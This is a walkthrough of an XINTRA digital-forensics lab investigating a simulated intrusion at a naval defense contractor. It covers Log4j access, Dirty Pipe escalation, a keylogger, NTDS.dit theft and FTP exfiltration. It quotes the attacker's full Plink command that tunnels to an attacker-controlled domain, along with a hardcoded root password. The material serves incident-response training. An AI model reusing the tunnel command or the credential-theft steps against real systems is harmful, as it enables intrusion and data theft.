XINTRA — NavalTech Systems Lab Walkthrough

SCOPING NOTE

NavalTech is a critical defense contractor providing secure maritime navigation and submarines. Its research into resilient communications and vessel-tracking systems makes it a high-value target for cyber espionage.

Internal teams detected suspicious executables running on their Domain Controller and traced it backed to their web server. They have asked you to help the investigation.

Make sure you review the tools available to you which may assist in your investigation.

Note: Any actions you observe by the account LabAdmin or IP 10.216.0.6 is associated with lab set up and not part of the simulation.

NETWORK DIAGRAM

Below is an image of the infected part of the network that we can have access to. Every system you see here is in-scope for the incident.

Boarding Party Detected

During initial scoping, we pivoted to the web server to identify the possible initial access vector. Web server logs showed a high volume of requests originating from external IP 135.220.72[.]163, displaying patterns consistent with reconnaissance/scanning activity

The lab provided live response data from the web server, while reviewing the network part, we found “ss_-anp.txt” we found process “java” that was also seen communicating with the external IP, Using three different port.

We reviewed the web application’s deployed libraries and performed a recursive search for JndiManager.class within the application directory. The match was found inside the Log4j library under: /opt/tomcat/webapps/ROOT/WEB-INF/lib/

while continues reviewing the live response data, we found multiple hidden folders on the compromised server.

the attacker create a hidden folder “/dev/shm/…” on the web server, while reviewing the content of the hidden folder we identified file named “apacheupdate-8.04”

By inspecting the file strings, we identified the following key findings:

• The binary is a Dirty Pipe Linux local privilege escalation exploit.
• It contains a preset root password: el3ph@nt!, indicating an attempt to enable unauthorized root access if successful.
• The tool creates a backup of the targeted file using the path format /tmp/%s.bak; when targeting /etc/passwd, the expected backup file path is /tmp/passwd.bak.

By researching the Dirty Pipe associated CVE, we identified CVE-2022–0847, a high-risk vulnerability in the Linux kernel that can allow a standard (non-privileged) user to escalate privileges and gain root access.

Cross Current Drift

We confirmed the web server IP is 10.216.1.8 based on the existing network topology. We then reviewed outbound activity from the web server to identify any potential lateral movement. As a result, we detected an RDP connection from the web server to a workstation “NTS-WKS01” which associate with user named “ewarren” on 21 September at 21:54:03.

While Reviewing the history of browsing we found the download file named “PLINK.EXE” from this url “https://www.chiark.greenend.org.uk/~sgtatham/putty/latest.html” , which indicates that a network tool (PuTTY Plink) was downloaded.

While continuing investigation the host, we identify interesting folder located at “C:\Windows\Tasks”

Within the same folder, we found a file named “pvhost.exe”. After comparing file hashes, we confirmed that PLINK.EXE was renamed to pvhost.exe.

At same folder, we found file named “navsvc.ppk” from the extinion it indicate a private key for putty and below is the command of using it as “C:\Windows\Tasks\pvhost.exe” -batch -ssh -i “C:\Windows\Tasks\navsvc.ppk” navsvc@microsoft-na-synergy-proxy.com -N -L 127.0.0.1:9443:127.0.0.1:9443

At the same folder, we found a file named “navsvc.ppk”. Based on its .ppk extension, it is likely a PuTTY private key. We also observed pvhost.exe (renamed PLINK.EXE) being executed with the following command

By open the ppk file on notepad we can see the hostname that generate SSH Key “exegol-box”

While reviewing the PowerShell history “ConsoleHost_history.txt” we can see the downloaded files, also we found the attacker make persistence on the host by creation schedule task named “Windows Nav Service” which will run with every logon.

Below the content of the script that will be running with every logon

The PowerShell script runs two executables from C:\Windows\Tasks. First, it launches pvhost.exe (Plink/SSH client) in hidden mode to create an SSH tunnel using the private key navsvc.ppk, connecting to navsvc@microsoft-na-synergy-proxy.com and setting up local port forwarding on 127.0.0.1:9443. It then waits 10 seconds and starts navysys.exe in hidden mode, likely to use the — established tunnel.

While reviewing the DC, on folder “C:\Windows\Tasks” we found interesting binary named “SynergyProxy.exe” by extracting the strings we can indicate this is .NET Binary

Buoyed by Bytes

By loading the binary on DIE (detect it easy) we can see the attacker was used “confuser” to protect the binary from analysis

Also the strings shows the version of the protection

Now we will try to deobfuscate the binary and analysis the source code, by opening the binary on dnSpy we can see the binary is packed

to analyze it further, we will run it and make a break point, capture it in memory, and dump the process for deeper inspection.

Now the break point is ready let`s run the debugger

Now we can save the dump process, by clicking save module

By opening the dumped process, and analysis the class5

By reading the source code we identified the binary aims to

• Creates a working folder under %TEMP% (if it doesn’t exist).
• Starts 3 background functions (threads):

1 — Clipboard monitor: checks for new clipboard text and logs changes.

2 — Keylogger: uses GetAsyncKeyState() to record keystrokes.

3 — Screenshot capture: takes screenshots using Graphics_0.CopyFromScreen() and saves them as .jpg files.

Another interesting finding is “search.ps1” located at C:\Windows\Tasks”

This PowerShell script searches for eight sensitive keywords (English and Korean) across common drives (C:\Users, D:\, Q:). It recursively checks .docx/.pdf/.txt files and reports any file where the keyword appears in the filename or content, printing the full path of matches.

Cabin Crawl

During investigation the workstation2, we found suspicious process located on same folder “C:\Windows\Tasks”, accessing the lsass process

Captain’s Key

Same binary was observed creating png files,

Moreover investigation for this binary, we identified the PDB path for this file

While investigating the PowerShell history on the DC, we identified copying the NTDS.dit and /config/Security to “C:\Windows\Tasks\ntds.dit” and “C:\Windows\Tasks\security”

By searching on the logs, we identify the process “vssadmin” expose the NTDS.dit for copying as seen below

Cargo Overboard

While investigating the PowerShell history on the workstation1, we identified the target folder path the threat actor copied data from

Also we identified the binary used to exfiltrate this data

Also we identify the attacker opens an FTP session to 135.220.72.163 using the ftpuser account, switches to the server’s /incoming drop folder, then uploads a packed archive tasks.rar from C:\Windows\Tasks and disconnects.

Conclusion

This lab shows a clear attack chain starting from the web server, where scanning activity led to initial access and execution of malicious code. The threat actor then used common post-exploitation tools and techniques to move across hosts, establish persistence, escalate privileges, and access sensitive data (including Domain Controller data). Overall, I enjoyed the lab a lot — especially the .NET binary analysis part, which added real depth. And it was a great hands-on learning moment.

Huge thanks 🙏 to the team behind the magic:

• Adversarial Emulator: @django88_
• Incident Responder: svch0st
• Founder of XINTRA: @InverseCos
• XINTRA